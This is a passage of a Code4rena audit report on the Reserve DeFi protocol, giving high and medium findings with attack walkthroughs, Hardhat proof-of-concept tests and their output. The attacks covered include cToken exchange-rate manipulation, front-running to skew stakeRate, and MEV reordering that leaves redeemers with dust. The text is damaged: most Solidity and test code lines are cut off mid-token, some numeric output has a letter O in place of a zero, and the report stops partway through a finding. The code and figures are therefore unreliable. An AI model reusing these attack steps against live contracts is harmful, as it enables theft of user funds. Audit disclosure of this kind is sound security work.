Reserve contest
Findings & Analysis Report

2023-04-27

Table of contents

- G-11 The result of function calls should be cached rather than re-calling the function
- G-12 `<x> += <y>` costs more gas than `<x> = <x> + <y>` for state variables
- G-13 `internal` functions only called once can be inlined to save gas
- G-14 Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require()` or `if` -statement
- G-15 `++i` / `i++` should be `unchecked{++i}` / `unchecked{i++}` when it is not possible for them to overflow, as is the case when used in `for` - and `while` -loops
- G-16 `require()` / `revert()` strings longer than 32 bytes cost extra gas
- G-17 Optimize names to save gas
- G-18 Use a more recent version of solidity
- G-19 Use a more recent version of solidity
- G-20 `>=` costs less gas than `>`
- G-21 `++i` costs less gas than `i++`, especially when it's used in `for` -loops (`--i` / `i--` too)
- G-22 Splitting `require()` statements that use `&&` saves gas
- G-23 Usage of `uints` / `ints` smaller than 32 bytes (256 bits) incurs overhead
- G-24 Using `private` rather than `public` for constants, saves gas
- G-25 `require()` or `revert()` statements that check input arguments should be at the top of the function
- G-26 Empty blocks should be removed or emit something
- G-27 Use custom errors rather than `revert()` / `require()` strings to save gas
- G-28 Functions guaranteed to revert when called by normal users can be marked `payable`
- G-29 Don't use `_msgSender()` if not supporting EIP-2771

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Reserve smart contract system written in Solidity. The audit contest took place between January 6—January 20 2023.

Following the C4 audit contest, 3 wardens (0xA5DF, HollaDieWaldfee, and AkshaySrivastav) reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit contest report.

Wardens

76 Wardens contributed reports to the Reserve contest:

1. 0x52
2. 0xA5DF
3. 0xAgro
4. 0xNazgul
5. 0xSmartContract
6. 0xTaylor
7. 0xdeadbeef0x
8. 0xhacksmithh
9. AkshaySrivastav

10. Awesome
11. Aymen0909
12. BRONZEDISC
13. Bauer
14. BnkeOxO
15. Breeje
16. Budaghyan
17. CodingNameKiki
18. Cyfrin (PatrickAlphaC and giovannidisiena and hansfriese)
19. Franfran
20. GalloDaSballo
21. HollaDieWaldfee
22. IceBear
23. lllllll
24. JTJabba
25. Madalad
26. MyFDsYours
27. NoamYakov
28. RHaO-sec
29. Rageur
30. RaymondFam
31. ReyAdmirado
32. Rolezn
33. Ruhum
34. SAAJ
35. SaharDevep
36. Sathish9098
37. Soosh
38. Udsen

39. __141345__
40. amshirif
41. arialblack14
42. brgltd
43. btk
44. c3phas
45. carlitox477
46. chaduke
47. chrisdior4
48. cryptonue
49. csanuragjain
50. delfin454000
51. descharre
52. fs0c
53. hihen
54. immeas
55. joestakey
56. ladboy233
57. lukris02
58. luxartvinsec
59. nadin
60. oyc_109
61. pavankv
62. peanuts
63. pedr02b2
64. rotcivegaf
65. rvierdiiev
66. saneryee
67. severity (medium-or-low and critical-or-high)

68. shark
69. tnevler
70. unforgiven
71. ustas
72. wait
73. yongskiws

This contest was judged by Oxean.

Final report assembled by liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 27 unique vulnerabilities. Of these vulnerabilities, 2 received a risk rating in the category of HIGH severity and 25 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 41 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 35 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Reserve contest repository, and is composed of 12 smart contracts written in the Solidity programming language and includes 2,051 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (2)

[H-01] Adversary can abuse a quirk of compound redemption to manipulate the underlying exchange rate and maliciously disable cToken collaterals

Submitted by 0x52

Adversary can maliciously disable cToken collateral to cause loss to rToken during restructuring.

Proof of Concept

```
if (referencePrice < prevReferencePrice) {
    markStatus(CollateralStatus.DISABLED);
}
```

CTokenNonFiatCollateral and CTokenFiatCollateral both use the default refresh behavior presented in FiatCollateral which has the above lines which automatically disables the collateral if the reference price ever decreases. This makes the assumption that cToken exchange rates never decrease but this is an incorrect assumption and can be exploited by an attacker to maliciously disable a cToken being used as collateral.

CToken.sol

```
        uint redeemTokens;
        uint redeemAmount;
        /* If redeemTokensIn > 0: */
        if (redeemTokensIn > 0) {
            /*
             * We calculate the exchange rate and the amount of unde
             *   redeemTokens = redeemTokensIn
             *   redeemAmount = redeemTokensIn x exchangeRateCurrent
             */
            redeemTokens = redeemTokensIn;
            redeemAmount = mul_ScalarTruncate(exchangeRate, redeemTo
        } else {
            /*
             * We get the current exchange rate and calculate the am
             *   redeemTokens = redeemAmountIn / exchangeRate
             *   redeemAmount = redeemAmountIn
             */

            // @audit redeemTokens rounds in favor of the user

            redeemTokens = div_(redeemAmountIn, exchangeRate);
            redeemAmount = redeemAmountIn;
        }
```

The exchange rate can be manipulated by a tiny amount during the redeem process. The focus above is the scenario where the user requests a specific amount of underlying. When calculating the number of cTokens to redeem for a specific amount of underlying it rounds IN FAVOR of the user. This allows the user to redeem more underlying than the exchange rate would otherwise imply. Because the user can redeem *slightly* more than intended they can create a scenario in which the exchange rate actually drops after they redeem. This is because compound calculates the exchange rate dynamically using the current supply of cTokens and the assets under management.

[CToken.sol](#)

```
    function exchangeRateStoredInternal() virtual internal view retu
        uint _totalSupply = totalSupply;
        if (_totalSupply == 0) {
            /*
             * If there are no tokens minted:
```

```
             *  exchangeRate = initialExchangeRate
             */
            return initialExchangeRateMantissa;
        } else {
            /*
             * Otherwise:
             *  exchangeRate = (totalCash + totalBorrows - totalRese
             */
            uint totalCash = getCashPrior();
            uint cashPlusBorrowsMinusReserves = totalCash + totalBor
            uint exchangeRate = cashPlusBorrowsMinusReserves * expSc


            return exchangeRate;
        }
    }
```

The exchangeRate when _totalSupply != 0 is basically:

```
exchangeRate = netAssets * 1e18 / totalSupply
```

Using this formula for we can now walk through an example of how this can be exploited

Example:

cTokens always start at a whole token ratio of 50:1 so let's assume this ratio to begin with. Let's use values similar to the current supply of cETH which is ~15M cETH and ~300k ETH. We'll start by calculating the current ratio:

```
exchangeRate = 300_000 * 1e18 * 1e18 / 15_000_000 * 1e8 = 2e26
```

Now to exploit the ratio we request to redeem 99e8 redeemAmount which we can use to calculate the amount of tokens we need to burn:

```
redeemAmount = 99e8 * 1e18 / 2e26 = 1.98 -> 1
```

After truncation the amount burned is only 1. Now we can recalculate our ratio:

```
exchangeRate = ((300_000 * 1e18 * 1e18) - 99e8) / ((15_000_000 *
```

The ratio has now been slightly decreased. In CTokenFiatCollateral the exchange rate is truncated to 18 dp so:

```
(referencePrice < prevReferencePrice) -> (19999999999999993 <  2
```

This results in that the collateral is now disabled. This forces the vault to liquidate their holdings to convert to a backup asset. This will almost certainly incur losses to the protocol that were maliciously inflicted.

The path to exploit is relatively straightforward:

`refresh()` cToken collateral to store current rate -> Manipulate compound rate via redemption -> `refresh()` cToken collateral to disable

Recommended Mitigation Steps

Since the issue is with the underlying compound contracts, nothing can make the attack impossible but it can be made sufficiently difficult. The simplest deterrent would be to implement a rate error value (i.e. 100) so that the exchange rate has to drop more than that before the token is disabled. The recommended value for this is a bit more complicated to unpack. The amount that the exchange rate changes heavily depends on the number of cTokens minted. The larger the amount the less it changes. Additionally a malicious user can make consecutive redemptions to lower the rate even further. Using an error rate of 1e12 would make it nearly impossible for this to be exploited while still being very sensitive to real (and concerning) changes in exchange rate.

```
-   if (referencePrice < prevReferencePrice) {
+   if (referencePrice < prevReferencePrice - rateError) {
        markStatus(CollateralStatus.DISABLED);
    }
```

0xean (judge) commented:

> I do see in the cToken code base that the warden is correct with regard to the round down mechanism when redeeming cTokens using a redeemAmountIn.

> The question I think comes down to is this dust amount enough to counteract the interest that would be accrued to the cToken which is added during the refresh call in `CTokenFiatCollateral`

> Will leave open for sponsor review.

tmattimore (Reserve) confirmed

tbrent (Reserve) commented:

> Issue confirmed.

> Many defi protocols may have similar issues. We may choose to mitigate by building in revenue hiding to something like 1 part in 1 million to all collateral plugins.

tbrent (Reserve) mitigated:

> This PR adds universal revenue hiding to all appreciating collateral: reserve-protocol/protocol#620

Status: Mitigation confirmed with comments. Full details in reports from HollaDieWaldfee, 0xA5DF, and AkshaySrivastav.

[H-02] Basket range formula is inefficient, leading the protocol to unnecessary haircut

Submitted by 0xA5DF, also found by HollaDieWaldfee

The `BackingManager.manageTokens()` function checks if there's any deficit in collateral, in case there is, if there's a surplus from another collateral token it trades it

to cover the deficit, otherwise it goes for a 'haircut' and cuts the amount of basket 'needed' (i.e. the number of baskets RToken claims to hold).

In order to determine how much deficit/surplus there is the protocol calculates the 'basket range', where the top range is the optimistic estimation of the number of baskets the token would hold after trading and the bottom range is a pessimistic estimation.

The estimation is done by dividing the total collateral value by the price of 1 basket unit (for optimistic estimation the max value is divided by min price of basket-unit and vice versa).

The problem is that this estimation is inefficient, for cases where just a little bit of collateral is missing the range 'band' (range.top - range.bottom) would be about 4% (when oracle error deviation is ±1%) instead of less than 1%.

This can cause the protocol an unnecessary haircut of a few percent where the deficit can be solved by simple trading.

This would also cause the price of `RTokenAsset` to deviate more than necessary before the haircut.

Proof of Concept

In the following PoC, the basket changed so that it has 99% of the required collateral for 3 tokens and 95% for the 4th.

The basket range should be 98±0.03% (the basket has 95% collateral + 4% of 3/4 tokens. That 4% is worth 3±0.03% if we account for oracle error of their prices), but in reality the protocol calculates it as ~97.9±2%.

That range causes the protocol to avoid trading and go to an unnecessary haircut to ~95%

```
diff --git a/contracts/plugins/assets/RTokenAsset.sol b/contract
index 62223442..03d3c3f4 100644
--- a/contracts/plugins/assets/RTokenAsset.sol
+++ b/contracts/plugins/assets/RTokenAsset.sol
@@ -123,7 +123,7 @@ contract RTokenAsset is IAsset {
```

```
    // ==== Private ====

    function basketRange()
-       private
+       public
        view
        returns (RecollateralizationLibP1.BasketRange memory ra
    {
diff --git a/test/Recollateralization.test.ts b/test/Recollatera
index 3c53fa30..386c0673 100644
--- a/test/Recollateralization.test.ts
+++ b/test/Recollateralization.test.ts
@@ -234,7 +234,42 @@ describe(`Recollateralization - P${IMPLEMEN
        // Issue rTokens
        await rToken.connect(addr1)['issue(uint256)'](issueAmou
      })
+     it('PoC basket range', async () => {
+       let range = await rTokenAsset.basketRange();
+       let basketTokens = await basketHandler.basketTokens();
+       console.log({range}, {basketTokens});
+       // Change the basket so that current balance would be 9
+       // the new basket
+       let q99PercentLess = 0.25 / 0.99;
+       let q95ercentLess = 0.25 / 0.95;
+       await basketHandler.connect(owner).setPrimeBasket(baske
+       await expect(basketHandler.connect(owner).refreshBasket
+       .to.emit(basketHandler, 'BasketSet')
+
+       expect(await basketHandler.status()).to.equal(Collatera
+       expect(await basketHandler.fullyCollateralized()).to.eq
+
+       range = await rTokenAsset.basketRange();
+
+       // show the basket range is 95.9 to 99.9
+       console.log({range});

+       let needed = await rToken.basketsNeeded();
+
+       // show that prices are more or less the same
+       let prices = await Promise.all( basket.map(x => x.price
+
+       // Protocol would do a haircut even though it can easil
+       await backingManager.manageTokens([]);
+
+       // show how many baskets are left after the haircut
+        needed = await rToken.basketsNeeded();
```

```
+
+        console.log({prices, needed});
+        return;
+
+      })
+      return;
       it('Should select backup config correctly - Single backup
         // Register Collateral
         await assetRegistry.connect(owner).register(backupColla
@@ -602,7 +637,7 @@ describe(`Recollateralization - P${IMPLEMENT
         expect(quotes).to.eql([initialQuotes[0], initialQuotes[
       })
     })
-
+    return;
     context('With multiple targets', function () {
       let issueAmount: BigNumber
       let newEURCollateral: FiatCollateral
@@ -785,7 +820,7 @@ describe(`Recollateralization - P${IMPLEMENT
       })
     })
   })
-
+  return;
   describe('Recollateralization', function () {
     context('With very simple Basket - Single stablecoin', func
       let issueAmount: BigNumber
```

Output (comments are added by me):

```
{
  range: [
    top: BigNumber { value: "999479165014402672O1" },  //  99.9
    bottom: BigNumber { value: "959699835063827910O0" } // 95.9
  ]
}
{
  prices: [
    [
      BigNumber { value: "9900000000000000O0" },
      BigNumber { value: "10100000000000000O0" }
    ],
    [
      BigNumber { value: "9900000000000000O0" },
```

```
        BigNumber { value: "10100000000000000000" }
      ],
      [
        BigNumber { value: "99000000000000000000" },
        BigNumber { value: "10100000000000000000" }
      ],
      [
        BigNumber { value: "19800000000000000000" },
        BigNumber { value: "20200000000000000000" }
      ]
    ],
    needed: BigNumber { value: "949999999005000000094" } // basket
  }
```

Recommended Mitigation Steps

Change the formula so that we first calculate the 'base' (i.e. the min amount of baskets the RToken can satisfy without trading):

```
base = basketsHeldBy(backingManager) // in the PoC's case it'd b
(diffLowValue, diffHighValue) = (0,0)
for each collateral token:
    diff = collateralBalance - basketHandler.quantity(base)
    (diffLowValue, diffHighValue) = diff * (priceLow, priceHigh)
addBasketsLow = diffLowValue / basketPriceHigh
addBasketHigh = diffHighValue / basketPriceLow
range.top = base + addBasketHigh
range.bottom = base + addBasketLow
```

Oxean (judge) commented:

> Would like sponsor to comment on this issue and will determine severity from there.

tmattimore (Reserve) acknowledged

tbrent (Reserve) commented:

> Agree this behaves the way described. We're aware of this problem and have been looking at fixes that are similar to the one suggested.

0xean (judge) commented:

> Thank you @tbrent - I think High seems correct here as this does directly lead to a loss of value for users.

tbrent (Reserve) confirmed and commented:

> @0xean - Seems right.

tbrent (Reserve) mitigated:

> This PR simplifies and improves the basket range formula. The new logic should provide much tighter basket range estimates and result in smaller haircuts. reserve-protocol/protocol#585

Status: Not fully mitigated. Full details in report from 0xA5DF, and also included in Mitigation Review section below.

Medium Risk Findings (25)

[M-01] Battery discharge mechanism doesn't work correctly for first redemption

Submitted by AkshaySrivastav

The `RTokenP1` contract implements a throttling mechanism using the `RedemptionBatteryLib` library. The library models a "battery" which "recharges" linearly block by block, over roughly 1 hour.

RToken.sol

```
function redeem(uint256 amount) external notFrozen {
    // ...

    uint256 supply = totalSupply();

    // ...
```

```
        battery.discharge(supply, amount); // reverts on over-re

        // ...
    }
```

RedemptionBatteryLib.sol

```
    function discharge(
        Battery storage battery,
        uint256 supply,
        uint256 amount
    ) internal {
        if (battery.redemptionRateFloor == 0 && battery.scalingF

        // {qRTok}
        uint256 charge = currentCharge(battery, supply);

        // A nice error message so people aren't confused why re
        require(amount <= charge, "redemption battery insufficie

        // Update battery
        battery.lastBlock = uint48(block.number);
        battery.lastCharge = charge - amount;
    }

    /// @param supply {qRTok} Total RToken supply before the bur
    /// @return charge {qRTok} The current total charge as an am
    function currentCharge(Battery storage battery, uint256 supp
        internal
        view
        returns (uint256 charge)
    {
        // {qRTok/hour} = {qRTok} * D18{1/hour} / D18
        uint256 amtPerHour = (supply * battery.scalingRedemptior

        if (battery.redemptionRateFloor > amtPerHour) amtPerHour

        // {blocks}
        uint48 blocks = uint48(block.number) - battery.lastBlock

        // {qRTok} = {qRTok} + {qRTok/hour} * {blocks} / {blocks
        charge = battery.lastCharge + (amtPerHour * blocks) / BI

        uint256 maxCharge = amtPerHour > supply ? supply : amtPe
```

```
        if (charge > maxCharge) charge = maxCharge;
    }
```

The linear redemption limit is calculated in the `currentCharge` function. This function calculates the delta blocks by `uint48 blocks = uint48(block.number) - battery.lastBlock;` .

The bug here is that the `lastBlock` value is never initialized by the `RTokenP1` contract so its value defaults to `0` . This results in incorrect delta blocks value as the delta blocks comes out to be an incorrectly large value

```
blocks = current block number - 0 = current block numbe
```

Due do this issue, the `currentCharge` value comes out to be way larger than the actual intended value for the first RToken redemption. The `maxCharge` cap at the end of `currentCharge` function caps the result to the current total supply of RToken.

The issue results in an instant first RToken redemption for the full `totalSupply` of the RToken. The battery discharging mechanism is completely neglected.

It should be noted that the issue only exists for the first ever redemption as during the first redemption the `lastBlock` value gets updated with current block number.

Proof of Concept

The following test case was added to `test/RToken.test.ts` file and was ran using command `PROTO_IMPL=1 npx hardhat test ./test/RToken.test.ts` .

```
describe.only('Battery lastBlock bug', () => {
  it('redemption battery does not work on first redemption', a
    // real chain scenario
    await advanceBlocks(1_000_000)
    await Promise.all(tokens.map((t) => t.connect(addr1).appro

    expect(await rToken.totalSupply()).to.eq(0)
    await rToken.connect(owner).setRedemptionRateFloor(fp('1e4
```

```
        await rToken.connect(owner).setScalingRedemptionRate(fp('(

        // first issue
        const issueAmount = fp('10000')
        await rToken.connect(addr1)['issue(uint256)'](issueAmount)
        expect(await rToken.balanceOf(addr1.address)).to.eq(issueA
        expect(await rToken.totalSupply()).to.eq(issueAmount)

        // first redemption
        expect(await rToken.redemptionLimit()).to.eq(await rToken.
        await rToken.connect(addr1).redeem(issueAmount)
        expect(await rToken.totalSupply()).to.eq(0)

        // second redemption
        await rToken.connect(addr1)['issue(uint256)'](issueAmount)
        expect(await rToken.balanceOf(addr1.address)).to.eq(issueA
        // from second redemtion onwards the battery discharge mec
        await expect(rToken.connect(addr1).redeem(issueAmount)).to
      })
    })
```

Tools Used

Hardhat

Recommended Mitigation Steps

The `battery.lastBlock` value must be initialized in the `init` function of `RTokenP1`

```
    function init(
        // ...
    ) external initializer {
        // ...
        battery.lastBlock = uint48(block.number);
    }
```

Oxean (judge) decreased severity to Medium and commented:

> The first redemption is not constrained by the battery properly from what I can tell in the code base. I don't see sufficient evidence that this would lead to a direct

> loss of user funds however. I will leave open for sponsor review, but think either Medium severity or below is appropriate without a better statement of impact from the warden.

tbrent (Reserve) confirmed and commented:

> This can't lead to loss of user funds, but I think it is indeed Medium severity

tbrent (Reserve) commented:

> Fixed here: https://github.com/reserve-protocol/protocol/pull/584

Status: Mitigation confirmed. Full details in reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav.

[M-02] Attacker can make stakeRate to be 1 in the StRSR contract and users depositing tokens can lose funds because of the big rounding error

Submitted by unforgiven

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L160-L188
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L496-L530
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L212-L237

Code calculates amount of stake token and rsr token based on `stakeRate` and if `stakeRate` was near `1e18` then division error is small but attacker can cause `stakeRate` to be 1 and that can cause users to loss up to `1e18` token during stake and unstake.

Proof of Concept

This is `init()` code:

```
function init(
    IMain main_,
    string calldata name_,
    string calldata symbol_,
    uint48 unstakingDelay_,
    uint48 rewardPeriod_,
    uint192 rewardRatio_
) external initializer {
    require(bytes(name_).length > 0, "name empty");
    require(bytes(symbol_).length > 0, "symbol empty");
    __Component_init(main_);
    __EIP712_init(name_, "1");
    name = name_;
    symbol = symbol_;

    assetRegistry = main_.assetRegistry();
    backingManager = main_.backingManager();
    basketHandler = main_.basketHandler();
    rsr = IERC20(address(main_.rsr()));

    payoutLastPaid = uint48(block.timestamp);
    rsrRewardsAtLastPayout = main_.rsr().balanceOf(address(t
    setUnstakingDelay(unstakingDelay_);
    setRewardPeriod(rewardPeriod_);
    setRewardRatio(rewardRatio_);

    beginEra();
    beginDraftEra();
}
```

As you can see it sets the value of the `rsrRewardsAtLastPayout` as contract balance when contract is deployed. This is `_payoutReward()` code:

```
function _payoutRewards() internal {
    if (block.timestamp < payoutLastPaid + rewardPeriod) ret
    uint48 numPeriods = (uint48(block.timestamp) - payoutLas

    uint192 initRate = exchangeRate();
    uint256 payout;
```

```
        // Do an actual payout if and only if stakers exist!
        if (totalStakes > 0) {
            // Paying out the ratio r, N times, equals paying ou
            // Apply payout to RSR backing
            // payoutRatio: D18 = FIX_ONE: D18 - FixLib.powu():
            // Both uses of uint192(-) are fine, as it's equival
            uint192 payoutRatio = FIX_ONE - FixLib.powu(FIX_ONE

            // payout: {qRSR} = D18{1} * {qRSR} / D18
            payout = (payoutRatio * rsrRewardsAtLastPayout) / FI
            stakeRSR += payout;
        }

        payoutLastPaid += numPeriods * rewardPeriod;
        rsrRewardsAtLastPayout = rsrRewards();

        // stakeRate else case: D18{qStRSR/qRSR} = {qStRSR} * D1
        // downcast is safe: it's at most 1e38 * 1e18 = 1e56
        // untestable:
        //      the second half of the OR comparison is untestab
        //      if totalStakes == 0, then stakeRSR == 0
        stakeRate = (stakeRSR == 0 || totalStakes == 0)
            ? FIX_ONE
            : uint192((totalStakes * FIX_ONE_256 + (stakeRSR - 1

        emit RewardsPaid(payout);
        emit ExchangeRateSet(initRate, exchangeRate());
    }
```

As you can see it sets the value of the `stakeRate` to `(totalStakes * FIX_ONE_256 + (stakeRSR - 1)) / stakeRSR`.

So to exploit this attacker needs to perform these steps:

1. send `200 * 1e18` RSR tokens (18 is the precision) to the StRSR address before its deployment by watching mempool and front running. the deployment address is calculable before deployment.
2. function `init()` would get executed and would set `200 * 1e18` as `rsrRewardsAtLastPayout`.
3. then attacker would call `stake()` and stake 1 RSR token (1 wei) in the contract and the value of `stakeRSR` and `totalStakes` would be 1.

4. then attacker wait for `rewardPeriod` seconds and then call `payoutReward()` and code would pay rewards based on `rewardRatio` and `rsrRewardsAtLastPayout` and as `rewardRatio` is higher than 1% (default and normal mode) code would increase `stakeRate` more than `2 * 1e18` amount. and then code would set `stakeRate` as `totalStakes * FIX_ONE_256 + (stakeRSR - 1)) / stakeRSR = 1`.
5. then calls to `stake()` would cause users to lose up to `1e18` RSR tokens as code calculates stake amount as `newTotalStakes = (stakeRate * newStakeRSR) / FIX_ONE` and rounding error happens up to `FIX_ONE`. because the calculated stake amount is worth less than deposited rsr amount up to `1e18`.
6. attacker can still users funds by unstaking 1 token and receiving `1e18` RSR tokens. because of the rounding error in `unstake()`

so attacker can manipulate the `stakeRate` in contract deployment time with sandwich attack which can cause other users to lose funds because of the big rounding error.

Tools Used

VIM

Recommended Mitigation Steps

Prevent early manipulation of the PPS.

tbrent (Reserve) confirmed

tbrent (Reserve) commented:

> Addressed in https://github.com/reserve-protocol/protocol/pull/617

Status: Mitigation confirmed with comments. Full details in reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav.

[M-03] Baited by redemption during undercollateralization (no issuance, just transfer)

Submitted by Cyfrin

This is similar to the “high” vulnerability I submitted, but also shows a similar exploit can be done if a user isn’t a whale, and isn’t issuing anything.

A user can send a redeem TX and an evil actor can make it so they get almost nothing back during recollateralization. This requires ordering transactions, or just getting very unlucky with the order of your transaction.

Proof of Concept

- UserA is looking to redeem their rToken for tokenA (the max the battery will allow, let’s say 100k)
- A basket refresh is about to be triggered
- Evil user wants the protocol to steal UserA’s funds
- UserA sends redeem TX to the mempool, but Evil user move transactions around before it hits
- Evil user calls refreshbasket in same block as original collateral (tokenA) is disabled, kicking in backupconfig (tokenB)
- Protocol is now undercollateralized but collateral is sound (tokenB is good)
- Evil sends 1tokenB to backingManager to UserA’s redeem has something to redeem
- UserA’s redemption tx lands, and redeems 100k rTokens for a fraction of tokenB!

UserA redeems and has nothing to show for it!

Evil user only had to buy 1 tokenB (or even less) to steal 100k of their rToken.

Tools Used

Hardhat

Recommended Mitigation Steps

Disallow redemptions/issuance during undercollateralization

Proof of Code

See warden's original submission for full details.

0xean (judge) commented:

> Not sure this is distinct enough from the other attack vector to stand alone, leaving open for sponsor comment before duping.

tbrent (Reserve) commented:

> Duplicate of #399

tbrent (Reserve) confirmed

Please note: the following comment and re-assessment took place after judging and awarding were finalized. As such, this report will leave this finding in its originally assessed risk category as it simply reflects a snapshot in time.

0xean (judge) commented:

> After re-reviewing, I do believe this should have been included in the M-04 batch of issues as well. As it is past the QA period, no changes will be made to awards, but I wanted to comment as such for the benefit of the sponsor.

Note: see mitigation status under M-04 below.

[M-04] Redemptions during undercollateralization can be hot-swapped to steal all funds

Submitted by Cyfrin, also found by Cyfrin

During recollateralization/a switch basket/when the protocol collateral isn't sound, a user can have almost their entire redemption transaction hot swapped for nothing.

For example, trying to redeem 1M collateral for 1M rTokens could have the user end up with 0 collateral and 0 rTokens, just by calling the `redeem` function at the wrong time.

Example:

- User A issues 1M rToken for 1M tokenA
- Evil user sees tokenA is about to become disabled, and that User A sent a normally innocuous redeem tx for too much underlying collateral in the mempool
- Evil user orders transactions so they and RSR/Rtoken holders can steal user A's funds
- They first buy a ton of tokenA and send it to the backing Manager
- They call `manageTokens` which flash issues a ton of new Rtoken due to the inflated tokenA balance, increasing the totalSupply
- The increase in total supply allows the normal redemption cap to be drastically lifted
- They then let the disabling of tokenA process, and calls refreshBasket where a backup token (tokenB) kicks in
- We are now undercollateralized, and evil user sends tokenB dust to the backingmanager
- FINALLY: the original redemption TX is ordered, and due to the inflated RToken supply, the battery discharge amount is also inflated, allowing the redemption to go through. Due to the new collateral in place, they redeem ALL their Rtoken (1M) for dust of tokenB!! The protocol has essentially honeypotted them!!

Proof of Concept

We provide the proof of code in `proof of code` section.

1. MEV

This relies on a validator being malicious with for-profit motives. It would be pretty easy for them to setup a bot looking for this exact scenario though and just staying dormant till the time is right. If they get to order the transactions, they can make a fat profit from the victim.

2. Backing manager can flash issue RToken

If the backingManger has too many excess assets, it will flash issue as **many RTokens as** possible to even the collateral to RTokens.

```
function handoutExcessAssets(IERC20[] calldata erc20s) private {
.
.
if (held.gt(needed)) {
.
.
rToken.mint(address(this), uint256(rTok));
```

3. Increasing the supply increases the redemption and issuance block cap

The RedemptionBattery's currentCharge function is [dependent on the total supply of RTokens](). So if the total supply is raised, you can redeem way more than you should be able to.

```
uint256 amtPerHour = (supply * battery.scalingRedemptionRate) /
```

(This also is true for issuance.)

4. Anyone can call [refreshBasket when a collateral]() is disabled

```
function refreshBasket() external {
        assetRegistry.refresh();

        require(
            main.hasRole(OWNER, _msgSender()) ||
                (status() == CollateralStatus.DISABLED && !n
            "basket unrefreshable"
        );
        _switchBasket();
    }
```

So if I see a tx where a collateral is about to be disabled, I can chain it with the refreshbasket TX myself.

5. Redemptions can occur when protocol is undercollateralized

The `redeem` function has this check:

```
require(basketHandler.status() != CollateralStatus.DISABLED, "cc
```

Which checks if the collateral is good, but NOT if the protocol is fullyCollateralized. Since we chain the disabled asset with the refreshBasket TX, the backup collateral kicks in, and the collateral status becomes `SOUND`. However, normally, we'd have 0 of the new collateral and any redemptions would fail, since there isn't anything to give back.

6. Sending dust to backing manager

So, if you send a tiny tiny bit of the new collateral to the protocol, the protocol will process the redemption and give them their `prorata` share of the collateral, which right now is almost 0, but still burn all the rToken being redeemed.

[RToken.sol]

```
// amount is never changed, they burn all the rToken
// in our example above, all 1M Rtoken are burned!
_burn(redeemer, amount);
```

And we calculate how much they get back like so. We see how much `$` we currently have in the basket, and hand back those amounts accordingly. Since we have almost no money, we are going to give them almost nothing for their rTokens.

```
(address[] memory erc20s, uint256[] memory amounts) = basketHanc
uint256 erc20length = erc20s.length;
// Bound each withdrawal by the prorata share, in case we're cur
        for (uint256 i = 0; i < erc20length; ++i) {
            // {qTok}
            uint256 bal = IERC20Upgradeable(erc20s[i]).balanceOf

            // gas-optimization: only do the full mulDiv256 if p
            uint256 prorata = (prorate > 0)
                ? (prorate * bal) / FIX_ONE // {qTok} = D18{1} *
                : mulDiv256(bal, amount, supply); // {qTok} = {c

            if (prorata < amounts[i]) amounts[i] = prorata;
        }
```

And just like that, a seemingly innocuous redemption transaction was a trap the whole time. The next step would be to go through the rest of the process to see how much our evil user profited (from running the auctions), as they need to be a whale to inflate the RToken supply. However, we've seen attacks like this, and one could consider it a highly profitable trading strategy. If they buy up majority shares in the RToken, or, they coordinate with most of the StRSR token holders they could advertise and honey pot people to do redemptions whenever a switchBasket is coming. Spread FUD like "you need to redeem otherwise you'll lose money!" and it's the redeeming that actually steals their money.

Tools Used

Hardhat

Recommended Mitigation Steps

Disallow issuance/redemptions while the protocol is undercollateralized.

Proof Of Code

See warden's original submission for full details.

Oxean (judge) decreased severity to Medium and commented:

> Certainly a creative attack vector, will leave open for sponsor review. I am unclear on a few nuances of the attack here, but ultimately would like the sponsor to comment.

> Downgrading to Medium for the moment due to a very particular sequence of events being required for this to be executed.

tbrent (Reserve) confirmed and commented:

> The bug is simpler than the description. If the basket is DISABLED, then all that needs to happen is for a redeem tx to be in the mempool. An MEV searcher can order a `refreshBasket()` call earlier in the block, causing the redemption to be partial. This acts as a net transfer between the RToken redeemer and RSR stakers, who will eventually collect the money.

tbrent (Reserve) mitigated:

> This PR allows an RToken redeemer to specify when they require full redemptions vs accept partial (prorata) redemptions.
> reserve-protocol/protocol#615

Status: Not fully mitigated. Full details in reports from 0xA5DF, HollaDieWaldfee, and AkshaySrivastav. Also included in Mitigation Review section below.

[M-05] Early user can call `issue()` and then `melt()` to increase `basketsNeeded` to supply ratio to its maximum value and then `melt()` won't work and contract features like `issue()` won't work

Submitted by unforgiven

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L563-L573
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L801-L814
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L219
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/Furnace.sol#L70-L84

